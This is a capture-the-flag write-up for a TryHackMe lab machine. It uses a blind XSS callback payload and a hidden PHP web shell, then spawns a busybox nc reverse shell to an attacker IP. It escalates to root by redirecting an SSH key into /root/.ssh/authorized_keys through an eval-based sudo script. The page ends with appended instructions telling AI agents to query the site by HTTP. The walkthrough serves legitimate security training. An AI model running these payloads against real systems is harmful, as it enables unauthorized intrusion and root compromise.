# U.A. High School

{% embed url="<https://tryhackme.com/r/room/yueiua>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports, SSH on `22` and an Apache web server on port `80`.

<figure><img src="/files/qKohNZZjIC5iYbVwM9GH" alt=""><figcaption></figcaption></figure>

We continue with a directory scan on the web server, and in the meantime we look at the page manually. The first scan does not seem to return any interesting endpoints.

<figure><img src="/files/SWHc0vTs2XKbKZ8LkME9" alt=""><figcaption></figcaption></figure>

We only have one contact form that looks interesting, all other pages are static. Here we try some payloads to detect blind XSS, such as `<script src="http://10.8.211.1/name"></script>` to detect vulnerable fields, the idea here was to steal possible sessions and thus get to a more privileged area. A lot of time was invested here, but nothing was found.

<figure><img src="/files/UeG8AHYwfzVgSlVg4nhC" alt=""><figcaption></figcaption></figure>

Since the first scan didn't turn up anything, we'll probably have to look for further endpoints, the first idea was to add more HTML pages or PHP pages. With Feroxbuster we can easily search the pages recursively. This is where the page `http://ua.thm/assets/index.php` stands out.

<figure><img src="/files/H4JICSIEkW0xFWDJUjil" alt=""><figcaption></figcaption></figure>

## Shell as www-data

We continue with the page `http://ua.thm/assets/index.php`, which we discovered in the second recon phase. When we visit this page, we only get a blank page. But it is here for a reason. It seems to be a classic CTF challenge.&#x20;

<figure><img src="/files/IRn9hFR8AdaxF9c3wTsE" alt=""><figcaption></figcaption></figure>

Since the page does not show anything else, we try it with parameters. Initially Arjun was used, but as we see in the next attempts, we might see why.

A good list for fuzzing for parameters is the `burp-parameter.names.txt` from SecLists. Also, here we do not get any responses, we might need to pass some value to the parameter.

<figure><img src="/files/hw8yhfcZoV7q6dDP6sOe" alt=""><figcaption></figcaption></figure>

Among some tested values for the parameters, we have a hit at `cmd=id`.

<figure><img src="/files/6rLMSWlWUQkvI1pDloh5" alt=""><figcaption></figcaption></figure>

This gives us base64 as an answer. And we can already assume that we are dealing with a web shell.

<figure><img src="/files/fdevnzOILNIX6tv7d1Ap" alt=""><figcaption></figcaption></figure>

Decoding the response, we see we are executing commands as `www-data`.

<figure><img src="/files/W2lWkrTP8R5MP7CDTDE4" alt=""><figcaption></figcaption></figure>

We use a reverse shell from `revshells.com`, we select the busybox version and set a listener on our desired port first. After we request the following link...

```
http://ua.thm/assets/index.php?cmd=busybox%20nc%2010.8.211.1%204445%20-e%20/bin/bash
```

... we get a connection back and are www-data. We now upgrade our shell using the following resource:

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

Unfortunately,  do not yet have access to the user flag `www-data`.

<figure><img src="/files/mE5PF2u3cNGPVE6JTW9i" alt=""><figcaption></figcaption></figure>

## Shell as deku

While enumerating the system as `www-data`, we find the directory `Hidden_Content` in `/var/www`. This directory contains a `passphrase.txt`, which contains a base64 encoded password.

<figure><img src="/files/ULSs8zFYDEicNCCCZxTg" alt=""><figcaption></figcaption></figure>

We identify the user deku and try changing users to with that password, but this password seems to have another purpose, since we cannot change to deku with it.

<figure><img src="/files/VaVtc3tVDbaGDtoAux6k" alt=""><figcaption></figcaption></figure>

We remember our directory scan and find images at assets/images that we have not previously identified with our word lists. We download both of them.

<figure><img src="/files/avZazAdAe9dLI1alqVJs" alt=""><figcaption></figcaption></figure>

The image `oneforall.jpg` seems to be faulty.

<figure><img src="/files/2sll0YUEUrTtBlfzBf5J" alt=""><figcaption></figcaption></figure>

We use wget to retrieve the broken image.

<figure><img src="/files/6bZjOx9yAfIJ33lbuFqg" alt=""><figcaption></figcaption></figure>

It seems not to be an image, to see its content in detail we use hexeditor, since just looking at it via strings did not reveal much information.

<figure><img src="/files/ygEFE2DeUC9A4uUKlvJW" alt=""><figcaption></figcaption></figure>

One of many hex editors:

{% embed url="<https://www.kali.org/tools/ncurses-hexedit/>" %}

<figure><img src="/files/nQ0tG845Y5qmECWjd7UV" alt=""><figcaption></figcaption></figure>

When viewing the file in the hexeditor, we see that the file extension and magicbytes do not match.

<figure><img src="/files/2fglqttdi0SCGpHw3kLR" alt=""><figcaption></figcaption></figure>

We add the magicbytes for jpg files to the file:

{% embed url="<https://en.wikipedia.org/wiki/List_of_file_signatures>" %}

First we add 12 empty bytes using CTRL+A then we add the following.&#x20;

```
FF D8 FF E0 00 10 4A 46 49 46 00 01
```

<figure><img src="/files/5OrKZy4k6g2DP4s8glT3" alt=""><figcaption></figcaption></figure>

After we have saved our changes, we can see the image, but this does not directly reveal any new information.

<figure><img src="/files/sLA5CtQ65wCafg2BQLm2" alt=""><figcaption></figcaption></figure>

Since it is a JPEG, we can now use tools like steghide to extract files hidden in the image. A password is required here. We use the one from `/var/www/Hidden_Content/passphrase.txt`. We can extract the file `creds.txt`, which contains credentials for the user `deku`.

<figure><img src="/files/dCgKq1amcghVc4pcCLRY" alt=""><figcaption></figcaption></figure>

With these credentials, we are able to change the user `deku` or access the machine as `deku` via ssh. We find the user flag in the home directory of the user `deku`.

<figure><img src="/files/H3XVMjy1FAiZ3TMt8gJk" alt=""><figcaption></figcaption></figure>

## Shell as root

As user deku we are allowed to execute the script in `/opt/NewComponent/feedback.sh` via sudo.

<figure><img src="/files/idXmb2PS67EKcgzOxgUt" alt=""><figcaption></figcaption></figure>

The script `/opt/NewComponent/feedback.sh` collects user feedback, checks for potentially harmful special characters, and if the input is deemed safe, it saves the feedback to a log file. If the input contains restricted characters, it rejects the feedback and prompts the user to provide valid input.

<figure><img src="/files/mvIUacnKJT2RTWx6AW1l" alt=""><figcaption></figcaption></figure>

The use of `eval` on line 14 poses a significant security risk as it can execute arbitrary code if the input isn't thoroughly sanitized, potentially leading to command injection. Even with filtering, unexpected or cleverly crafted input might bypass these checks, making the script vulnerable to exploitation.

{% code title="/opt/NewComponent/feedback.sh" lineNumbers="true" %}

```bash
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

```

{% endcode %}

It filters out several special characters that could be used for malicious purposes. Specifically, it checks for and rejects input containing the following characters:

* Backtick (\`)
* Closing parenthesis ())
* Dollar sign followed by an opening parenthesis ($()
* Pipe (|)
* Ampersand (&)
* Semicolon (;)
* Question mark (?)
* Exclamation mark (!)
* Backslash (\\)

We are therefore not able to execute commands as root using command chaining or substitution. Like the following example:

<figure><img src="/files/4Wwg3Slt58TkUITPrMsy" alt=""><figcaption></figcaption></figure>

However, the filter is not complete. We can still write to files like `/etc/passwd` or `/root/.ssh/authorized_keys` using `>`. We prepare an ssh key with `ssh-keygen`, where we put the public key into `/root/.ssh/authorized_keys`. The root key needs proper permissions, we can do this with `chmod 600`.

<figure><img src="/files/ZUfcvAU1j8s9JAESEY3h" alt=""><figcaption></figcaption></figure>

Next, we run the feedback script with sudo and paste our public key into the prompt appending `> /root/.ssh/authorized_keys`.

<figure><img src="/files/05GKrHNw2JnoWmDK06B0" alt=""><figcaption></figcaption></figure>

Now we can use our generated private key to connect to the machine as `root` via ssh. Here we find the root flag in `/root/root.txt`.

<figure><img src="/files/uiAohcLeAPfEEX4AhG94" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/u.a.-high-school.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.